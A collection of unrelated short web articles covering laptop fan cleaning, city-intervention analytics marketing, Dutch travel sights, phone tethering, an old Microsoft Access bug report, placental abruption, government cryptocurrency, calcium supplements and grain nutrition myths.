2. Unplug your laptop from any power source and place it upside-down, preferably on an anti-static mat.
3. Remove the Bottom Panel.
4. Remove the bottom panel of your laptop. …
5. Hold the Fan in Place.
6. Hold the fan in place with your finger, so that it does not rotate. …
7. Clean the Fan with a Cloth.
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Unveil the impact of urban interventions
The easiest way to understand what caused what in a city.
The Problem
When something is changed in a city, it's hard to identify the positive and negative consequences.
'Was it the weather? Was it COVID-19?'
Cities are subjected to several external factors that make it challenging to isolate what was caused by a particular intervention and what was due to something else.
First feature alt text
No meaningful baseline
Once the city is modified, we don’t know what would have happened otherwise. Standard forecasting techniques can be dangerously misleading.
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Digital Twins will always miss something
Digital Twins are great in building rough approximations of the real-world. However, it doesn't matter how many hours of work are spent to create the perfect twin, it will always have a breaking point.
Third feature alt text
The Solution
Our approach is effective in any scenario for any kind of city intervention.
Everything is connected
Every city region is unique, but all regions have something in common. The behaviour of any region can be approximated by the right combination of the others.
First feature alt text
Finding the recipe of a Real Twin
We rely on advanced machine learning algorithms to analyse historical data of every region to match relevant features and obtain a precise copy of the reality.
Second feature alt text
Generic and robust
Our method always work. Even to predict the response to events that never happened before.
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Hit the ground running
Our approach requires no initial setup or customisation. Just plug-in your data and you are ready to go!
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Our Platform
Create a new Experiment
Just tell us when and where your experiment is happening. That's all we need to know to tell you how it's performing according to the objectives you defined.
Follow your Experiment daily
Follow on a daily basis how your experiment is performing against each one of the objectives set. Have a clear view of what would have happened if the experiment didn't happen at all.
Take decisions based on a simple scoring system
Follow everything that's happening in the city in one place. A dynamic score summarises the performance of each experiment into a single number, supporting better and quicker decisions.
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Visit Holland - The Netherlands
Term Definition
Canals of Amsterdam
Amsterdam, one of Europe's capitals, has many attractions for visitors. The city's most famous sight is the 17th-century canals of Amsterdam located in the heart of Amsterdam, they are added to the UNESCO World Heritage List.
Capital of the Netherlands
According to the Dutch constitution Amsterdam is the capital of the Netherlands, although the parliament and the Dutch government have been situated in The Hague since 1588, along with the Supreme Court and the Council of State. Only once during its history was Amsterdam both "capital" and seat of government. Between 1808 and 1810, during the Kingdom of Holland, King Louis Napoleon resided in Amsterdam and declared the city capital of his kingdom and seat of government. To accommodate the king, the grand seventeenth-century Town Hall of Amsterdam, prime example of the republican values that were prevalent for so long in the Netherlands, was converted into a Royal Palace.
Caribbean Netherlands
The Caribbean Netherlands (Dutch: Caribisch Nederland) refers to a group of three special municipalities of the Netherlands (officially public bodies) that are located in the Caribbean Sea: the islands of Bonaire, Sint Eustatius, and Saba,[a 1] which are also known as the BES islands. Although they are part of the Netherlands, these special municipalities will remain overseas territories[3] of the European Union at least until 2015.[4] Bonaire (including the islet of Klein Bonaire) is located east of Aruba and Curaçao, close to the coast of Venezuela. Sint Eustatius and Saba are located south of Sint Maarten and northwest of Saint Kitts and Nevis.
Castle Amerongen
The Castle Amerongen was built in 1673 on the site of a previous stronghold that had been burned in 1672 by the French.The current building was designed by the architect Maurits Post as a baroque palace for the owners Godard Adriaan van Reede and his wife Margaretha Turnor. In the main hall a central staircase with painted ceiling was built by Willem van Nimwegen.[1] Other ornaments were added in the early 20th century by P.J.H. Cuypers.[1] The gardens contain historical elements and the walls predate 1673.[1] Near the entrance bridge dating from 1678 is a wooden clock tower from 1728 that contains the original clock of the same date.[1] In the north-east corner of the gardens is an orangerie dating from the 1880s, and the north wall was raised during the period when Wilhelm II was residing there 1918-1920.[1] He abdicated in Amerongen then moved to Huis Doorn.
Castle Hoensbroek
Castle Hoensbroek or Gebrookhoes (Castle Gebrook) (Dutch: Kasteel Hoensbroek) is one of the largest castles in the Netherlands. It is situated in Hoensbroek, a town in the province of Limburg. This imposing watercastle is known as 'the most lordly stronghold between Rhine and Meuse'. The oldest part of the castle, notably the tall round tower, dates from around 1360, when it was built by Herman Hoen, though a predecessor to the castle had already existed in the swamp (or Gebrook) the castle was located in. This so-called motte-and-bailey dated from around 1225. In 1250 a fortified manor was built on the location of the present castle. Because of its important strategical location in the Duchy of Brabant, located along important trading routes to Maastricht, Aachen and Cologne, the castle was expanded in several phases, becoming the largest stronghold between the Meuse and the Rhine rivers. It contains at least 67 halls, rooms and living quarters.
Cathedral Church of St. John of 's-Hertogenbosch
Cathedral Church of St. John of 's-Hertogenbosch - North Brabant. One of most imposing churches in Netherlands, with 73 m tall tower. Exquisite monument of Late Gothic style, built in 1220 - 1525. Interesting detail from the latest restoration - angel with mobile phone.
Centraal Station Amsterdam
Charles Eijck Park Maastricht
In the Céramique district, situated between Square 1992 and the Bonnefantenmuseum is located the Charles Eyck Park.
Cobra Museum
The Cobra Museum is an art museum in Amstelveen, Netherlands. The collection of the museum consists of key works by artists of the Vrij Beelden (1945), Cobra (1948–1951), and Creatie (1950–1955) movements
The Concertgebouw is a concert hall in Amsterdam, Netherlands. The Dutch term "concertgebouw" literally translates into English as "concert building". Because of its highly regarded acoustics, the Concertgebouw is considered one of the finest concert halls in the world, along with places such as Boston's Symphony Hall[1][2] and the Musikverein in Vienna.
Credit cards & ATM.
Credit cards & ATM''s. For safety reasons, credit card use in the Netherlands increasingly requires a PIN-code. Credit card use in general is reasonable common, but not by far as much as in the US or some other European countries. The Dutch themselves often use (debit) bank cards, for which even small shops and market stands usually have a machine. In tourist destinations you will generally find credit cards widely accepted, as well as in larger shops and restaurants in the rest of the country, but ask in advance or check the icons that are usually displayed at the entrance. ATMs are readily available, mostly near shopping and nightlife areas. The very smallest ones excluded, even villages usually have one or more ATM's.
The Museum De Cruquius (or Cruquiusmuseum) occupies the old Cruquius steam pumping station in Cruquius, the Netherlands. It derives its name from Nicolaas Kruik (1678–1754), a Dutch land-surveyor and one of many promotors of a plan to pump the Haarlemmermeer (Haarlem lake) dry. Like many well-educated men of his time, he latinized his name to Nicolaus Samuel Cruquius. During his lifetime the issue of the Haarlem Lake and how to pump it dry was international news
Cruquius pumping station - North Holland
Cruquius pumping station - North Holland. Elegant steam pumping station with the largest steam engine in the world. Diameter of the piston is 3.7 m.
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How to Create an eSIM Hotspot
You can do a lot of cool things with your phone! Phones have this fantastic ability to connect to the internet as long as you are within range of a wireless network provider.
Did you know that your carrier data can be shared with any other device? With a few simple steps, you can turn your phone into a mobile hotspot and tether data to a friend nearby.
So, you may be wondering, "How does tethering work?"
What exactly is Data Tethering?
Data tethering is the process of converting your mobile phone into a modem. Effectively, you can turn on your mobile hotspot from your phone's settings app, under cellular, which creates a mobile network (seen under Wi-Fi connections).
Your phone will generate a password that you can share, and anyone with your password will be able to connect to your portable Wi-Fi hotspot via data usage.
There are several types of tethering, which are as follows:
• Tethering over Wi-Fi
As previously stated, Wi-Fi tethering is one of the most common types of tethering. You effectively create a Wi-Fi hotspot with your wireless data and then allow another device to connect to the temporary Wi-Fi network you've created.
This means that a laptop, tablet, or computer within range of your phone is connected to the internet. While Wi-Fi tethering is generally quite fast, it depletes your battery quickly.
• Tethering via Bluetooth
Bluetooth tethering can be enabled on an Android phone when it is connected to another Android device. It's essentially the same process as setting up a Wi-Fi mobile hotspot, but the binding connection is now made using Bluetooth technology.
Keep in mind that this will still consume data and that the connection speed will be slower than on the primary device. While Bluetooth tethering is slower than other types of tethering, it is more battery efficient.
• Tethering via USB
When you use a USB cable to connect a phone to another phone, tablet, or laptop, you are tethering. USB tethering works best with another phone.
The USB connection provides the strongest and most direct internet connection, but it can be taxing on your device.
What exactly is a phone hotspot?
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Microsoft KB Archive/104066
From BetaArchive Wiki
PRACC9309: Incorrect Error Message Using OpenTable Method
PSS ID Number: Q104066 Article last modified on 09-20-1993
1.00 1.10 WINDOWS
The information in this article applies to:
- Microsoft Access versions 1.0 and 1.1 - Microsoft Access Distribution Kit version 1.1
When you use the OpenTable method in Access Basic on tables with certain table names that do not exist, you get the following error message Syntax error in <xxxxx> statement instead of the expected error message Object does not exist For example, if you try open a nonexistent table called “Delete This Table,” you would receive a “Syntax error in DELETE statement” error message, rather than an “Object does not exist” error message.
If the table referenced in the OpenTable method does not exist, Microsoft Access tries to interpret the table name as a SQL statement. Since the statement is not valid, you receive the SQL parsing error “Syntax error in DELETE statement.” Because of this, other SQL statements used as valid but nonexistent table names can cause other SQL parsing error messages. Some of the other possible error messages are listed in the table below:
If Table Name Is… Microsoft Access Error Message Is…
Select Syntax error in Select statement Select * from authors Missing semicolon at end of SQL statement (when Authors table does not exist) Select * from authors; Couldn’t find input table or query “Authors” (when Authors table does exist) Select * from authors; Couldn’t find object “Select * from authors;”
Microsoft has confirmed this to be a problem in Microsoft Access versions 1.0 and 1.1. Microsoft is researching this problem and will post new information here in the Microsoft Knowledge Base as it becomes available.
Additional reference words: 1.00 1.10 Tables Programming KBCategory: KBSubcategory: PrgrmVt Copyright Microsoft Corporation 1993.
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Placental Abruption
What is placental abruption?
Placental abruption is when the placenta pulls away from where it's attached to the uterus. The placenta has many blood vessels that bring the nutrients from the mother to the developing baby. If the placenta starts to pull away during pregnancy, these blood vessels bleed. The larger the area that pulls away, the greater the amount of bleeding.
What causes placental abruption?
A direct blow to the uterus can cause placental abruption. For instance, this could happen during a car crash. Healthcare providers don’t know what causes it in other cases. You may be at higher risk if:
• You had a placental abruption with a previous pregnancy
• You have high blood pressure
• You smoke cigarettes
• You're pregnant with twins or more (multiple pregnancy)
What are the symptoms of placental abruption?
• Vaginal bleeding
• Pain in the belly (abdomen)
• Back pain
• Labor pains (uterine contractions) that don't relax
• Blood in the bag of water (amniotic fluid)
• Feeling faint
• Not feeling the baby move as much as before
How is placental abruption diagnosed?
Your healthcare provider can diagnose placental abruption based on your symptoms. These include the amount of bleeding and pain. You will likely need an ultrasound. This test will show where the bleeding is. The provider will also check on your developing baby.
There are 3 grades of placental abruption:
• Grade 2. Mild to medium amount of bleeding and uterine contractions. The baby's heart rate may show signs of distress.
• Grade 3.Medium to severe bleeding or hidden bleeding. Also uterine contractions that don't relax, belly pain, low blood pressure, and the death of the baby.
Sometimes placental abruption isn't found until after delivery, when an area of clotted blood is found behind the placenta.
How is placental abruption treated?
What are possible complications of placental abruption?
• Uncontrolled bleeding (hemorrhage) and shock
• Poor blood flow and damage to kidneys or brain
• The baby dies in the uterus (stillbirth)
When should I call my healthcare provider?
Key points about placental abruption
• This condition is often painful.
• If you have placental abruption, you may need to deliver your baby early and may need a cesarean section delivery.
• Report any bleeding in pregnancy to your healthcare provider.
Next steps
• Before your visit, write down questions you want answered.
• Ask if your condition can be treated in other ways.
Medical Reviewer: Irina Burd MD PhD
Medical Reviewer: Donna Freeborn PhD CNM FNP
Medical Reviewer: Heather M Trevino BSN RNC
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Governments around the world – Russia, The United States, Canada, Republic of China, Japan, Venezuela, and others – are taking significant actions to explore and learn more about cryptocurrency (learn crypto on With governments keeping a keen eye on digital currencies, there’s a huge question of whether cryptocurrencies such as bitcoins can keep it decentralized. This question had been raised considering that governments would like to keep things centralized which is the exact opposite of true cryptocurrencies.
A Government-Backed Coin
Centralized Digital Currencies
There’s a significant difference between cryptocurrencies and the CDCs (Centralized Digital Currencies). True cryptocurrencies are decentralized meaning there’s no one person, or entity such as the government that controls them. CDCs are the exact opposite which means they are centralized and run by a certain entity such as the government and the central bank.
Through centralization, the government could make exponential changes which can either be good or bad. This is scary because there’s also a question of security and privacy despite a good option to buy goods at a way cheaper price.
Russia has, specifically, came up with intriguing ideas as to why it wants to engage in some kind of government based cryptocurrency to work with international transactions and possibly impose levy on black markets. It has not been clear though if the said digital currency would have a decentralized ledger as it is with true cryptocurrency or if it is possible for it to be mined.
Why governments are showing interest just now?
The concept and technology behind digital transactions isn’t entirely new. Even before the internet have boomed, many companies are working to make digital transactions work without the use of cash or check. With the birth of the internet, the concept wasn’t fully adopted and the technology behind it is also not cheap. Government and financial institutions has not placed so much attention to it because the majority of the public were not into it too.
When Bitcoin was introduced in 2009, the boom had been extensive that the explosion of bitcoins along with other cryptocurrencies pushed governments to have a look at these technologies that could have a huge impact in the future of commerce, the finance industry, and the centralized authorities of the movement and generation of various currencies throughout the world.
Governments are now seeing the potential of the crypto technology but they need time to further understand it. In theory, there are several advantages drawn from true digital currencies. The straightforward and efficient instant electronic transactions that prevents fraud, better book keeping and tracking of transaction are just a few of this advantages. Not to mention that no printing is involved which saves a lot of costs behind its generation. On a side note, governments alongside many companies are overwhelmed by the ongoing trend. In order for them not to be left behind, some governments tend to make up something to catch up with what’s new.
Decentralized Money vs. Centralized Money
The success of Bitcoin proves the feasibility to generate money beyond the borders of traditional financial systems that are based on the government. This fact is pushing government authorities and central banks to inquire difficult questions about their function in future economies.
For some, the issue of true cryptocurrency (decentralized) and centralized digital currency is not the main point because the system is simply a detail. However, the main point is that you can have digital money circulating around which is a huge threat to the central bank rather than to private banks. Regardless if it is done with a blockchain or through any type of database does not make a huge difference.
The goals of Russia for running cryptocurrencies indicate how governing bodies around the globe can start adopting digital currencies no matter if the end is good or bad.
Bottom line
Governments have a tendency to move slowly and thus very little will change in the near future. A series of tests may have to be conducted to find out how the whole system will work. Nonetheless, governments will be forced to adapt the system when cryptocurrencies will start to present a real practical alternative to our current financial system.
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Traducão de video Tigers
Alguem poderia legendar esse video com legendas em ingles e colocar como resposta? só até 2:30 Grato
Faça um teste e descubra como está seus conhecimentos de vocabulário de inglês em 5 minutos! Este teste foi desenvolvido por professores experientes. O resultado sai na hora e com gabarito. INICIAR TESTE
1 resposta
0:00 - .... of the tiger, a fearsome predator that will prove a worthy foe in our virtual showdown
0:10 - Now, to meet the opposition.
0:18 - The African Lion is a fearless warrior. 530 pounds of aggression.
0:25 - It's 4 feet tall at the shoulder, and almost 11 feet from nose to tail
0:33 - A male spends his first 4 years learning to fight, preparing for the day he will vie for control of a pride.
0:44 - He's well equipped for the job - 3 inch canines and 3 inch claws
0:54 - His willingness to take on all comers has earned him the title King of the Beasts
1:06 - The size difference between a tiger and a lion is slight, but it could decide the battle ahead
1:13 - The tiger is stronger and heaver, the lion is taller and longer
1:22 - the 2 big cats are similar, but the way they behave is determined by 1 big difference: turf
1:32 - Tigers live in dense jungle and hunt from cover
1:40 - Lions spend their lives in open grassland, these environments shape their social behavior
1:48 - Tigers are shy, solitary beasts, but defend a ??? territory against intruders. They tolerate each other only when mating
2:00 - Lions are social animals, living in prides of up to 30. Females do most of the hunting, while males fight to protect the pride.
2:09 - But when the pride finds something big they all join the hunt and they don't quit until they've made their kill.
2:26 - Result - Lions have more fighting experience, a vital factor in the battle ahead.
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Skipping Breakfast? Dr. Oz on Why Breakfast Is Too Important
Dr. Oz is touting the benefits of breakfast.
In a tweet sent out Wednesday to his nearly 4 million Twitter followers, the cardiac surgeon and renowned host of the Dr. Oz Show suggested that there’s a reason as to why breakfast is considered the most important meal of the day:
There are quite a few reasons as to why you shouldn’t skip breakfast:
• Energy: A nutritious breakfast that is rich in whole grains, fruits, veggies and lean protein will fill you up and provide you with much-needed energy to start the day.
• Healthy immune system: A healthy breakfast will give your immune system a boost. Even a cup of green tea or a nutritious low-fat yogurt will provide you with antioxidants and probiotics that can help maintain and support your immune system.
• Control blood sugar and weight management: A study conducted by researchers at Tel Aviv University revealed that breakfasts that include whey protein considerably suppress the hunger hormone ghrelin—this means you can be fuller for longer. According to study researchers, whey protein is also better at controlling blood sugar—more so than even eggs or tuna.
• Improve mood: A healthy breakfast chock-full of vitamins and minerals can improve your mood—just avoid sugary cereals or refined carbs. Opt for protein-rich or fiber-rich foods.
Eating Breakfast vs. Skipping Breakfast: How it Affects Children
Previous studies have suggested that not eating breakfast could adversely affect appetite in children. For example, children might feel hungrier later in the day and overeat if they skip breakfast. So researchers at the University of Pennsylvania and New York’s Albert Einstein College of Medicine wanted to test the effects of eating breakfast versus skipping breakfast on appetite levels and energy intake in children between the ages of eight and 10.
Twenty-one children participated in the study over the course of two visits. The kids were either given an obligatory breakfast or no breakfast. They were also offered lunch (they could eat to their hearts’ desire). The children then rated their appetites throughout the morning and their parents provided food records that revealed what the children ate for the rest of the day.
Researchers concluded that missing breakfast affected participants’ appetite levels. For example, on the testing day when no breakfast was served, the children suggested they were considerably hungrier and could eat more food before lunch compared to the testing day when they ate breakfast.
Dr. Mehmet Oz Twitter. 12:33 p.m. – 13 Apr 2016.
Kral, T. V. E., et al., “Effects of eating breakfast compared with skipping breakfast on ratings of appetite and intake at subsequent meals in 8- to 10-y-old children,” American Journal of Clinical Nutrition, 2011 Feb; 93(2): 284–291; published online 2010 Nov 17; doi: 10.3945/ajcn.110.000505;
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Devices, cities, and buildings are becoming smarter, thanks to low-cost IoT sensors and devices delivered across our markets. How do we define Smart? Is Smart a building? The concept of Smart building has been around for a while. So what is a Smart Building? Well, it’s a set of communication technologies that allow different objects, sensors, and functions within a building to communicate and interact with each other and be managed, controlled, and automated remotely. In Smart building, technologies help connect a variety of subsystems that initially operated independently”.
In practice, this means that all systems that were once independent and separate – heating, air conditioning, ventilation, lighting, security systems – can now communicate with each other, exchanging information to coordinate and, most importantly, be monitored and managed remotely.
Communication is fundamental: connected buildings need the right tools and infrastructures to ensure efficient and straightforward data flow. So how do we know which tools or devices to pick? Should it be technology with specifications that are public as opposed to proprietary? Open Architecture systems offer officially approved standards and privately designed architectures, of which are made public by their developers. This generally helps to simplify ongoing support and maintenance (including spare parts replacement). It is easier to find integrators to support the systems, giving owners more competitive options. Owners also have the assurance of future scalability and flexibility.
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Calcium: Benefits, Uses, Risks, and Dosage
Why Do You Need Calcium?
Who Should Take Calcium Supplements?
Food Sources of Calcium
Benefits of Calcium
Calcium Tablet Side Effects
Dosage And How You Should Use It
Many people take calcium supplements in the hopes of improving their bone health.
They may, however, have disadvantages and even health hazards, such as increasing the risk of cardiovascular disease.
This article covers everything you need to know about calcium, including who should take them, the benefits they provide, and the hazards they pose.
Why Do You Need Calcium?
Calcium is required by the body to produce and maintain bone health. Your bones and teeth contain about 99 percent of the body’s calcium.
It sends nerve messages, releases hormones like insulin, and controls how muscles and blood vessels contract and expand in the blood.
If you don’t receive enough of it in your meals, your body takes it from your bones and teeth to use elsewhere, ultimately damaging your bone health.
So, how much calcium do you require daily?
The Institute of Medicine’s current guidelines are listed below, organized by age:
• 1,000 mg each day for women under 50.
• Men under the age of 70 should take 1,000 mg every day.
• Women above the age of 50 should take 1,200 mg per day.
• Men above the age of 70 should take 1,200 mg every day.
There are also calcium consumption limitations that should be adhered to. Individuals under the age of 50 are limited to 2,500 mg a day, while adults over 50 are limited to 2,000 mg a day.
It is feasible to obtain adequate levels of it through the best calcium foods. Dairy products, some leafy greens, nuts, legumes, and tofu are all rich sources of calcium.
People who don’t consume enough calcium-rich foods, on the other hand, may benefit from supplementation.
Who Should Take Calcium Supplements?
Your body will eliminate calcium from your bones if your calcium intake is low, making them fragile. Osteoporosis can arise as a result of this.
Many experts prescribe women to take calcium supplements after menopause because they are at an increased risk of developing osteoporosis.
As a result, older women are far more likely than younger women to take calcium supplements. They can help you get the appropriate quantity of calcium if you don’t get it from your food.
Calcium supplements may be beneficial if you:
• Stick to a vegan diet.
• If you eat a high-protein or high-sodium meal, your body may produce more calcium.
• Have a medical condition, such as Crohn’s disease or inflammatory bowel disease, that inhibits your body from absorbing calcium.
• They are given corticosteroids for an extended time.
• Have Osteoporosis.
Food Sources of Calcium
Food is one of the finest natural sources of calcium.
If you think you lack in calcium, try adding more of these calcium rich foods to your diet:
• Milk, cheese, and yogurt
• Canned fishes with bones
• Salmon or sardines
• Collards, spinach, and kale (leafy vegetables)
• Tofu and edamame
• Lentils and beans
• Fortified foods and drinks
Benefits of Calcium
Let’s take a look at some of the calcium benefits mentioned below:
May Help Prevent Bone Loss in Postmenopausal Women
Because estrogen levels drop after menopause, women lose bone mass.
Fortunately, vitamins may be of assistance. Several studies suggest that administering best calcium tablets for bones to postmenopausal women — typically 1,000 mg per day — can minimize bone loss by 1–2%.
The effect appears strongest among women who have a poor calcium intake, particularly in the first two years of supplement use.
Furthermore, there appears to be no added benefit to consuming higher amounts of calcium supplements.
May Help With Fat Loss
Low calcium consumption has been linked to a higher body mass index (BMI) and a significant body fat percentage in research.
A recent study looked at the impact of giving obese and overweight college kids with quite low calcium intakes a regular 600-mg calcium supplement.
On a calorie-restricted diet, those given a daily supplement (600 mg of calcium) and 125 IUs of vitamin D shed more excess fat than those who were not.
Vitamin D is frequently prescribed in conjunction with foods high in calcium because it aids in absorption.
May Help Lower the Risk of Colon Cancer
According to one major study, calcium from milk products and medications may reduce the risk of colon cancer.
Similar findings were observed in a previous review of ten studies.
May Help Improve Metabolic Markers
Calcium supplements, particularly when combined with vitamin D, have been shown to enhance metabolic indicators in several studies.
In a 2016 study, 42 expectant mothers took calcium supplements. Several metabolic parameters, including blood pressure and inflammatory markers, improved.
Other studies have found that children whose mothers took calcium supplements while pregnant had lower blood pressure at the age of seven than children whose mothers did not.
More than 100 obese, vitamin D-deficient females with the polycystic ovarian syndrome (PCOS) were randomly assigned to receive a calcium and vitamin D supplement in a recent study.
Markers of inflammation, insulin, and triglyceride levels all improved in those who took the medication.
Other studies have found no improvement in the metabolic profiles of people who used calcium and vitamin D supplementation.
Calcium Tablet Side Effects
Calcium supplementation, according to new research, may trigger some health concerns. However, the evidence is contradictory.
May Increase Risk of Heart Disease
The most contentious claim about calcium supplements is that they may raise the risk of certain kinds of heart disorders, such as heart attack and stroke.
Researchers have released conflicting studies on the influence of calcium on cardiovascular health over the last few years.
To evaluate the impact of calcium supplements on heart health, more solid evidence is needed.
Some doctors believe that taking calcium with vitamin D can help mitigate the hazards, but further research is needed.
High Levels May Be Linked to Prostate Cancer
High calcium levels have been associated with prostate cancer, while evidence on the subject is mixed.
Researchers discovered that high calcium consumption might well be connected to an elevated risk of prostate cancer in many studies, most of which were observational.
Nonetheless, a four-year randomized controlled trial that gave 672 men either a calcium supplement or a placebo daily found no evidence of an elevated risk of prostate cancer.
Those who consumed the supplement had a lower chance of developing prostate cancer.
Dairy products, according to another study, may be the source of the problem. The consumption of milk products, but not calcium supplements, was connected to an elevated risk of prostate cancer, according to a study of 32 papers.
Risk of Kidney Stones May Increase
Calcium supplementation may raise the risk of kidney stones, according to some findings.
More than 36,000 postmenopausal women were randomly assigned to receive a daily supplement containing 1,000 mg of calcium and 400 IU of vitamin D or a placebo pill in one trial.
The supplement users had a higher chance of kidney stones, according to the findings.
In addition, whereas supplement users in the study had a higher overall hip bone density, they did not have a lower incidence of bone fractures.
According to the Institute of Medicine, ingesting more than 2,000 mg of calcium per day from food or supplements is connected to an elevated chance of suffering from kidney stones.
According to some studies, calcium intake of 1,200–1,500 mg each day increases the incidence of kidney stones.
High Levels of Calcium in Your Blood
Hypercalcemia is a disorder marked by various unpleasant symptoms, notably stomach problems, nausea, irritability, and depression.
It can be caused by several factors, including dehydration, thyroid problems, and excessive calcium supplementation.
Vitamin D pills taken in excess might cause hypercalcemia by enabling your body to absorb extra calcium from your food.
Dosage And How You Should Use It
There are a few things to keep in mind if you take calcium supplements.
How Much Should You Take?
Calcium supplements can help bridge the gap between the amount of calcium you get from your food and what you require each day.
Remember that the daily suggested dose for most individuals is 1,000 mg, and for women over 50 and males over 70, it is 1,200 mg.
As a result, if you generally only get roughly 500 mg per day from food but require 1,000 mg, you can use one 500-mg supplement each day.
However, be cautious when deciding on a dose. Consuming more calcium than you require can lead to complications.
You May Need To Split Up The Dose
It’s critical to evaluate the calcium content of the supplement you purchase.
Your body can’t absorb big amounts of it all at once. In supplement form, experts recommend consuming no more than 500 mg at once.
Medication Interactions
If you’re using calcium supplements, make sure to inform your doctor and chemist because it can affect how your body processes certain medicines, such as antibiotics and iron.
Calcium fights for absorption with iron, zinc, and magnesium. If you need calcium supplements and lack any of those nutrients, try taking them during meals.
Calcium will be less likely to hinder the absorption of zinc, iron, and magnesium in your meal if you do it this way.
Dangers Of Too Much Calcium
Keep in mind that you only require 1,000–1,200 mg of calcium per day. It’s pointless to take more than that. When you do, you may encounter difficulties.
Constipation, hypercalcemia, calcium buildup in soft tissues and difficulty absorbing iron and zinc are just a few of the concerns that might arise.
Calcium supplements can benefit those at risk of osteoporosis and who don’t receive sufficient calcium in their diets.
While some studies imply a connection between calcium supplementation and heart disease, the evidence isn’t conclusive.
However, it is well recognized that consuming more calcium than is suggested from any source can increase your risk of kidney stones.
Calcium pills are generally fine in little doses, but having a calcium rich diet is the best way to go. Include a range of foods that contain calcium, especially non-dairy options, into your meals.
Understanding Calcium Supplements – Their Role and Bioavailability
Calcium is one of the most essential nutrients required to support the optimal functioning of your body. It carries out important tasks such as circulating the flow of blood and oxygen and blood in your body, controlling the movement of the muscles and regulating the secretion. Additionally, calcium supplements are also responsible for ensuring the proper transmission of neural messages from the brain to the rest of your body.
One of the things that makes calcium supplements so important for your body is the fact that it is found in about 99% of our body, due to its presence in both our bones and teeth. Not getting the required amount of calcium could in fact lead to severe health complications.
Sources Of Dietary Calcium
dietary calcium
Since your body is incapable of producing and synthesising calcium on its own, you will need to consume dietary calcium from external sources such as natural whole foods in order to meet the recommended calcium needs.
Given below is a small list of foods that are rich in calcium:
• Dairy Products: milk, cheese, and yogurt
• Dark Green Vegetables: kale, spinach, and broccoli
• Fortified Foods: calcium-fortified breads, cereals, soy products, and orange juice
Bioavailability Of Calcium Supplements
The bioavailability of a nutrient refers to how easily and quickly it can be absorbed and digested by our body. Since calcium is a relatively large nutrient, it takes a bit longer to be broken down by the gut. This means that while you may be consuming a lot of calcium supplements on paper, your body is actually getting lesser amounts of calcium than you think you are.
calcium content
Fortunately, there are certain foods whose calcium content is more easily absorbable by the body than other sources.
FoodServing sizeAverage calcium content (mg)8Estimated absorption (%)9-11Calcium absorbed (mg)Servings required to equal 250 mL (1 cup) of milk
Milk calcium
Milk calcium (whole, 2%, 1%, skim)250 mL (1 cup)31032.199.51
Cheddar cheese50g (1.5 oz)33732.1108.21
Yogurt175 mL (3/4 cup)27232.187.31
Vegetables (cooked)
Bok choy125 mL (1/2 cup)8453.845.22.25
Kale125 mL (1/2 cup)4949.324.24
Broccoli125 mL (1/2 cup)3361.320.25
Spinach125 mL (1/2 cup)1295.16.615.25
Nuts & seeds
Almonds60 mL (1/4 cup)9721.220.64.75
Sesame seeds60 mL (1/4 cup)2320.84.820.75
Legumes (cooked)
White beans125 mL (1/2 cup)8521.818.55.5
Pinto beans125 mL (1/2 cup)4226.711.29
Red kidney beans125 mL (1/2 cup)2624.46.315.75
Breads & Cereals
Whole wheat bread35 g (1 slice)268221.34.75
Wheat bran 27 g19387.213.75
Fortified foods
Orange juice with calcium 125 mL (1/2 cup)15536.356.31.75
Tofu, regular, firm or extra firm, raw (prepared with calcium sulphate)85 g171*31532
Soy beverage with tricalcium phosphate250 mL (1 cup)3192476.61.25**
One of the major disadvantages to consuming plant based sources of dietary calcium is that these foods sometimes contain compounds called anti nutrients. Nutrients such as oxalates and phytates attach themselves to the calcium that you consume and make it harder for your body to absorb them.
For example, a single bowl of spinach would give you about 250 milligrams of dietary calcium but it also contains a lot of oxalates which means that only 14 grams of calcium is actually being absorbed and utilised by your body. This is the case with other forms of calcium such as milk calcium as well.
This is not to say that you should stop consuming these foods altogether, The primary goal here is to optimize your consumption of calcium products in such a way that your daily calcium needs are met. One of the safest ways to do this is to consume a healthy balanced diet in combination with calcium supplements.
Recommended Daily Allowance Of Calcium Supplements
The Indian Medical Association recommends that the average adult consume 1000 mg of calcium supplements a day in order to support optimal functioning of the body. However, the calcium needs also vary according to the age and physical condition of the concerned individual. Always consult with a physician before supplementing your diet with any calcium products.
What Happens If You Don’t Consume Enough Dietary calcium
Not maintaining the right intake of dietary calcium for a long period of time, a calcium deficiency can manifest in your body, affecting its ability to absorb nutrients of any kind. Given below are a few symptoms for the same:
• Muscle cramps or weakness
• Numbness or tingling in fingers
• Abnormal heart rate
• Poor appetite
Benefits Of Consuming Calcium Supplements
Given below are some of the benefits of including calcium supplements in your daily nutritional intake:
• Bone health: Calcium is required for maintaining the structural density and promoting the growth of bones in our body. It also helps in forming a protective layer of enamel around our teeth to prevent it from being affected by decay.
• Muscle contraction: Our body is signalled to release calcium upon being stimulated by a nerve. This is required to aid the protein molecules in our body to stimulate contraction and expansion of muscles.
Additionally, calcium supplements also help with reducing the bad cholesterol levels in our body and reducing the oxidative stress exerted on the heart. This helps in preventing health complications such as heart disease and obesity.
Head on over to for calcium products and other health products that can help you stay fit and healthy.
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7 Common Myths About Grain Products
by Natalya Fazylova, Wellness Contributor
(HealthyResearch.com)- Nutritionists say that excluding grain products from the diet is not only useless but even dangerous. On the other hand, people who want to lose weight are still trying to stay away from them. But we have collected seven myths about grain products, which you should know.
1. Cereal contributes to weight gain.
A study performed by Tufts University showed that whole grain consumption helps to reduce fat in the area of the abdomen. Other studies proved that replacing ordinary cereals in the diet with unrefined ones leads to weight loss.
And if your main goal is weight loss, you won’t be able to do this by giving up gluten. In fact, some gluten-free foods contain even more calories than foods with gluten. This is due to the fact that they contain more sugar, fats, and sodium, which are added to them to compensate for changes in taste and texture. In addition, gluten-free food can provoke overeating, so that you won’t lose weight, but may even gain a few extra pounds.
2. Whole grains also lead to weight gain.
In addition to the above, some whole grains have important good properties. Quinoa is a grain cereal that is indispensable for people who follow a high-protein diet. African teff is a cereal, which contains 20-40% resistant starches prolonging the feeling of satiety after a meal. Millet is also a grain cereal that improves spleen and pancreas function.
3. Everyone should give up gluten.
Gluten is contraindicated only for people with gluten intolerance. If you refuse gluten products without medical indications, this may harm your body.
When you exclude wheat, barley, rye, and other grains from the diet, you reduce the intake of large amounts of important nutrients and vitamins which are contained in these foods. Among them are iron, folic acid, zinc, and vitamin D. Experts note that when a person with celiac disease goes on a gluten-free diet, her/his doctor controls the number of vitamins and nutrients through supplements. If you follow a gluten-free diet but you don’t have celiac disease, you may experience vitamin deficiency.
4. People with celiac disease cannot eat cereals.
Millet, rice, and quinoa are all gluten-free grains that are good for people with celiac disease. First of all, people with this disease should avoid wheat and all its derivatives, such as semolina, malt, bulgur, and couscous.
